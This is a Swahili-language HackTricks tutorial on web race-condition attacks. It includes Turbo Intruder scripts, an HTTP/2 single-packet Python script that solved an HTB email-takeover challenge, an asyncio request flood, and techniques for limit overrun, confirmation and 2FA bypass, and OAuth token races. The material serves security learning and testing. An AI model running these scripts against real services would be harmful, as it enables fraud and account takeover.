23 KiB
Race Condition
Tumia Trickest kujenga na kuandaa kazi kwa urahisi kwa kutumia zana za jamii zilizoendelea zaidi duniani.
Pata Ufikiaji Leo:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=race-condition" %}
{% hint style="success" %}
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au fuata sisi kwenye Twitter 🐦 @hacktricks_live.
- Shiriki hila za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
{% hint style="warning" %} Ili kupata uelewa wa kina wa mbinu hii angalia ripoti asili katika https://portswigger.net/research/smashing-the-state-machine {% endhint %}
Kuimarisha Mashambulizi ya Race Condition
Kikwazo kikuu katika kutumia faida ya hali za race ni kuhakikisha kwamba maombi mengi yanashughulikiwa kwa wakati mmoja, kwa tofauti ndogo sana katika nyakati zao za usindikaji—kwa kawaida, chini ya 1ms.
Hapa unaweza kupata mbinu za Kuisawazisha Maombi:
HTTP/2 Shambulio la Packet Moja dhidi ya HTTP/1.1 Usawazishaji wa Byte wa Mwisho
- HTTP/2: Inasaidia kutuma maombi mawili kupitia muunganisho mmoja wa TCP, kupunguza athari za jitter za mtandao. Hata hivyo, kutokana na tofauti za upande wa seva, maombi mawili yanaweza kutokutosha kwa shambulio la hali ya race linaloendelea.
- HTTP/1.1 'Usawazishaji wa Byte wa Mwisho': Inaruhusu kutuma sehemu nyingi za maombi 20-30 kabla, ikizuia kipande kidogo, ambacho kitatumwa pamoja, kufikia seva kwa wakati mmoja.
Maandalizi ya Usawazishaji wa Byte wa Mwisho yanajumuisha:
- Kutuma vichwa na data ya mwili bila byte ya mwisho bila kumaliza mtiririko.
- Kusitisha kwa 100ms baada ya kutuma awali.
- Kuzima TCP_NODELAY ili kutumia algorithimu ya Nagle kwa kuunganisha fremu za mwisho.
- Kupiga simu ili kuimarisha muunganisho.
Kutuma fremu zilizoshikiliwa baadaye inapaswa kusababisha kufika kwao katika packet moja, inayoweza kuthibitishwa kupitia Wireshark. Mbinu hii haitumiki kwa faili za statiki, ambazo kawaida hazihusiki katika mashambulizi ya RC.
Kurekebisha kwa Mifumo ya Seva
Kuelewa usanifu wa lengo ni muhimu. Seva za mbele zinaweza kuelekeza maombi tofauti, kuathiri wakati. Kuimarisha muunganisho wa upande wa seva, kupitia maombi yasiyo na maana, kunaweza kuleta usawa wa wakati wa maombi.
Kushughulikia Kufunga Kulingana na Kikao
Mifumo kama vile handler ya kikao ya PHP inasawazisha maombi kwa kikao, ambayo inaweza kuficha udhaifu. Kutumia tokeni tofauti za kikao kwa kila ombi kunaweza kuondoa tatizo hili.
Kushinda Mipaka ya Kiwango au Rasilimali
Ikiwa kuimarisha muunganisho hakufanyi kazi, kuanzisha ucheleweshaji wa mipaka ya kiwango au rasilimali za seva za wavuti kwa makusudi kupitia mafuriko ya maombi ya dummy kunaweza kuwezesha shambulio la packet moja kwa kuleta ucheleweshaji wa upande wa seva unaofaa kwa hali za race.
Mifano ya Shambulio
- Tubo Intruder - shambulio la packet moja la HTTP2 (1 endpoint): Unaweza kutuma ombi kwa Turbo intruder (
Extensions
->Turbo Intruder
->Send to Turbo Intruder
), unaweza kubadilisha katika ombi thamani unayotaka kujaribu kwa nguvu kwa%s
kama katikacsrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s
na kisha chaguaexamples/race-single-packer-attack.py
kutoka kwenye orodha:
Ikiwa unataka kutuma thamani tofauti, unaweza kubadilisha msimbo na huu unaotumia orodha ya maneno kutoka kwenye clipboard:
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')
{% hint style="warning" %}
Ikiwa wavuti haitegemei HTTP2 (ni HTTP1.1 pekee) tumia Engine.THREADED
au Engine.BURP
badala ya Engine.BURP2
.
{% endhint %}
- Tubo Intruder - HTTP2 shambulio la pakiti moja (Mikondo kadhaa): Ikiwa unahitaji kutuma ombi kwa mkingo 1 na kisha mengi kwa mkingo mingine ili kuanzisha RCE, unaweza kubadilisha skripti ya
race-single-packet-attack.py
na kitu kama:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)
# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0
'''
# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt
# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)
# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)
# send all the queued requests for this attempt
engine.openGate(currentAttempt)
- Inapatikana pia katika Repeater kupitia chaguo jipya la 'Send group in parallel' katika Burp Suite.
- Kwa limit-overrun unaweza tu kuongeza ombile lile lile mara 50 katika kundi.
- Kwa connection warming, unaweza kuongeza mwanzoni mwa kundi baadhi ya ombile kwa sehemu zisizo za kudumu za seva ya wavuti.
- Kwa delaying mchakato kati ya kusindika ombile moja na jingine katika hatua 2 za substate, unaweza kuongeza ombile za ziada kati ya ombile zote mbili.
- Kwa multi-endpoint RC unaweza kuanza kutuma ombile ambalo linakwenda kwenye hali ya siri na kisha ombile 50 mara tu baada yake ambayo inatumia hali ya siri.
- Automated python script: Lengo la script hii ni kubadilisha barua pepe ya mtumiaji huku ikithibitisha kila wakati hadi tokeni ya uthibitisho ya barua pepe mpya ifike kwa barua pepe ya mwisho (hii ni kwa sababu katika msimbo ilikuwa inaonekana RC ambapo ilikuwa inawezekana kubadilisha barua pepe lakini uthibitisho ukatumwa kwa ile ya zamani kwa sababu ya variable inayonyesha barua pepe ilikuwa tayari imejaa na ile ya kwanza).
Wakati neno "objetivo" linapatikana katika barua pepe zilizopokelewa tunajua tumepokea tokeni ya uthibitisho ya barua pepe iliyobadilishwa na tunamaliza shambulio.
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests
cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"
# change these headers
headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: """+cookie+"""
Content-Length: 112
"""
bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'
headersVerification= """Content-Length: 1
Cookie: """+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"
host = "94.237.56.46"
puerto =39697
url = "https://"+host+":"+str(puerto)+"/email/"
response = requests.get(url, verify=False)
while "objetivo" not in response.text:
urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"
responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one
Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)
print(responseReset.status_code)
h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)
h2_conn.setup_connection()
try_num = 100
stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)
all_headers_frames = [] # all headers frame + data frames which have not the last byte
all_data_frames = [] # all data frames which contain the last byte
for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)
all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)
# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)
# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)
h2_conn.send_bytes(temp_headers_bytes)
# wait some time
sleep(0.1)
# send ping frame to warm up connection
h2_conn.send_ping_frame()
# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)
resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()
print('---')
sleep(3)
h2_conn.close_connection()
response = requests.get(url, verify=False)
Kuboresha Shambulio la Pakiti Moja
Katika utafiti wa awali, imeelezwa kwamba shambulio hili lina kikomo cha 1,500 bytes. Hata hivyo, katika post hii, imeelezwa jinsi inavyowezekana kupanua kikomo cha 1,500-byte cha shambulio la pakiti moja hadi 65,535 B kikomo cha dirisha cha TCP kwa kutumia upasuwaji wa tabaka la IP (kugawanya pakiti moja kuwa pakiti nyingi za IP) na kuzituma kwa mpangilio tofauti, kumekuwa na uwezo wa kuzuia kuunganishwa tena kwa pakiti hadi vipande vyote vifikie seva. Mbinu hii ilimwezesha mtafiti kutuma maombi 10,000 ndani ya takriban 166ms.
Kumbuka kwamba ingawa kuboresha hii kunafanya shambulio kuwa na uaminifu zaidi katika RC inayohitaji pakiti mamia/elfu kufika kwa wakati mmoja, inaweza pia kuwa na baadhi ya vikwazo vya programu. Seva maarufu za HTTP kama Apache, Nginx na Go zina mipangilio ya SETTINGS_MAX_CONCURRENT_STREAMS
ya 100, 128 na 250. Hata hivyo, zingine kama NodeJS na nghttp2 zina mipangilio isiyo na kikomo.
Hii inamaanisha kwamba Apache itazingatia tu muunganisho 100 wa HTTP kutoka kwa muunganisho mmoja wa TCP (ikizuia shambulio hili la RC).
Unaweza kupata mifano kadhaa ukitumia mbinu hii katika repo https://github.com/Ry0taK/first-sequence-sync/tree/main.
Raw BF
Kabla ya utafiti wa awali, hizi zilikuwa baadhi ya payloads zilizotumika ambazo zilijaribu kutuma pakiti haraka iwezekanavyo ili kusababisha RC.
- Repeater: Angalia mifano kutoka sehemu ya awali.
- Intruder: Tuma ombile kwa Intruder, weka idadi ya nyuzi kuwa 30 ndani ya menyu ya Chaguo na, chagua kama payload Null payloads na tengeneza 30.
- Turbo Intruder
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
- Python - asyncio
import asyncio
import httpx
async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text
async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))
# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)
# Print results
for r in results:
print(r)
# Async2sync sleep
await asyncio.sleep(0.5)
print(results)
asyncio.run(main())
RC Methodology
Limit-overrun / TOCTOU
Hii ni aina ya msingi zaidi ya race condition ambapo vulnerabilities zinazojitokeza katika maeneo ambayo yanapunguza idadi ya nyakati unaweza kufanya kitendo. Kama kutumia nambari ya punguzo sawa katika duka la mtandaoni mara kadhaa. Mfano rahisi sana unaweza kupatikana katika ripoti hii au katika bug hii.
Kuna mabadiliko mengi ya aina hii ya shambulio, ikiwa ni pamoja na:
- Kutumia kadi ya zawadi mara kadhaa
- Kutoa alama kwa bidhaa mara kadhaa
- Kutoa au kuhamasisha pesa zaidi ya salio la akaunti yako
- Kutumia suluhisho moja la CAPTCHA tena
- Kupita kikomo cha kiwango cha kupambana na nguvu
Hidden substates
Kuchangamkia race conditions ngumu mara nyingi kunahusisha kutumia fursa za muda mfupi kuingiliana na unintended machine substates. Hapa kuna jinsi ya kukabiliana na hili:
- Tafuta Potential Hidden Substates
- Anza kwa kutambua mwisho ambao hubadilisha au kuingiliana na data muhimu, kama vile profaili za mtumiaji au michakato ya kurekebisha nywila. Lenga kwenye:
- Hifadhi: Prefer mwisho ambao hubadilisha data ya kudumu upande wa seva kuliko wale wanaoshughulikia data upande wa mteja.
- Kitendo: Tafuta operesheni zinazobadilisha data iliyopo, ambazo zina uwezekano mkubwa wa kuunda hali zinazoweza kutumika ikilinganishwa na zile zinazoongeza data mpya.
- Keying: Shambulio lililofanikiwa mara nyingi linahusisha operesheni zilizofungamanishwa na kitambulisho sawa, mfano, jina la mtumiaji au token ya kurekebisha.
- Fanya Uchunguzi wa Awali
- Jaribu mwisho ulioainishwa kwa shambulio la race condition, ukitazama kwa mabadiliko yoyote kutoka kwa matokeo yanayotarajiwa. Majibu yasiyotarajiwa au mabadiliko katika tabia ya programu yanaweza kuashiria vulnerability.
- Onyesha Vulnerability
- Punguza shambulio hadi idadi ndogo ya maombi yanayohitajika ili kutumia vulnerability, mara nyingi ni mbili tu. Hatua hii inaweza kuhitaji majaribio mengi au automatisering kutokana na muda sahihi unaohusika.
Time Sensitive Attacks
Usahihi katika wakati wa maombi unaweza kufichua vulnerabilities, hasa wakati mbinu zinazoweza kutabiriwa kama vile timestamps zinapotumika kwa token za usalama. Kwa mfano, kuunda token za kurekebisha nywila kulingana na timestamps kunaweza kuruhusu token sawa kwa maombi ya wakati mmoja.
Ili Kutumia:
- Tumia wakati sahihi, kama shambulio la pakiti moja, kufanya maombi ya kurekebisha nywila kwa wakati mmoja. Token sawa zinaonyesha vulnerability.
Mfano:
- Omba token mbili za kurekebisha nywila kwa wakati mmoja na ulinganishe. Token zinazolingana zinaashiria kasoro katika uzalishaji wa token.
Angalia hii PortSwigger Lab kujaribu hili.
Hidden substates case studies
Pay & add an Item
Angalia hii PortSwigger Lab kuona jinsi ya kulipa katika duka na kuongeza kipengee ambacho hutaweza kulipia.
Confirm other emails
Wazo ni kuhakiki anwani ya barua pepe na kuibadilisha kuwa nyingine kwa wakati mmoja ili kugundua ikiwa jukwaa linathibitisha ile mpya iliyobadilishwa.
Change email to 2 emails addresses Cookie based
Kulingana na utafiti huu Gitlab ilikuwa na vulnerability ya kuchukuliwa kwa njia hii kwa sababu inaweza kutuma token ya uthibitisho wa barua pepe ya barua pepe moja kwa barua pepe nyingine.
Angalia hii PortSwigger Lab kujaribu hili.
Hidden Database states / Confirmation Bypass
Ikiwa kuandikwa tofauti 2 zinatumika ku ongeza habari ndani ya database, kuna sehemu ndogo ya muda ambapo tu data ya kwanza imeandikwa ndani ya database. Kwa mfano, wakati wa kuunda mtumiaji, jina la mtumiaji na nywila vinaweza ku andikwa na kisha token ya kuthibitisha akaunti mpya iliyoundwa inaandikwa. Hii inamaanisha kwamba kwa muda mfupi token ya kuthibitisha akaunti ni null.
Hivyo kujiandikisha akaunti na kutuma maombi kadhaa na token tupu (token=
au token[]=
au toleo lolote lingine) ili kuthibitisha akaunti mara moja kunaweza kuruhusu kuhakiki akaunti ambayo hujaudhibiti barua pepe.
Angalia hii PortSwigger Lab kujaribu hili.
Bypass 2FA
Kifungu kinachofuata cha pseudo-code kina vulnerability ya race condition kwa sababu katika muda mfupi sana 2FA haitekelezwi wakati kikao kinaundwa:
session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form
OAuth2 kudumu milele
Kuna watoa huduma kadhaa wa OAUth. Huduma hizi zitakuruhusu kuunda programu na kuthibitisha watumiaji ambao mtoa huduma amesajili. Ili kufanya hivyo, mteja atahitaji kuruhusu programu yako kufikia baadhi ya data zao ndani ya mtoa huduma wa OAUth.
Hivyo, hadi hapa ni kuingia kwa kawaida na google/linkedin/github... ambapo unakumbana na ukurasa ukisema: "Programu <InsertCoolName> inataka kufikia taarifa zako, je, unataka kuiruhusu?"
Hali ya Mbio katika authorization_code
Tatizo linaonekana unapokubali na moja kwa moja kutuma authorization_code
kwa programu mbaya. Kisha, programu hii inatumia Hali ya Mbio katika mtoa huduma wa OAUth ili kuunda zaidi ya AT/RT moja (Authentication Token/Refresh Token) kutoka kwa authorization_code
kwa akaunti yako. Kimsingi, itatumia ukweli kwamba umekubali programu kufikia data zako ili kuunda akaunti kadhaa. Kisha, ikiwa utakoma kuruhusu programu kufikia data zako, jozi moja ya AT/RT itafutwa, lakini zingine zitabaki kuwa halali.
Hali ya Mbio katika Refresh Token
Mara tu unapokuwa umepata RT halali unaweza kujaribu kuitumia kuunda AT/RT kadhaa na hata kama mtumiaji anafuta ruhusa kwa programu mbaya kufikia data zake, RT kadhaa bado zitakuwa halali.
RC katika WebSockets
Katika WS_RaceCondition_PoC unaweza kupata PoC katika Java kutuma ujumbe wa websocket kwa paraleli ili kutumia Hali za Mbio pia katika Web Sockets.
Marejeo
- https://hackerone.com/reports/759247
- https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html
- https://hackerone.com/reports/55140
- https://portswigger.net/research/smashing-the-state-machine
- https://portswigger.net/web-security/race-conditions
- https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=race-condition" %}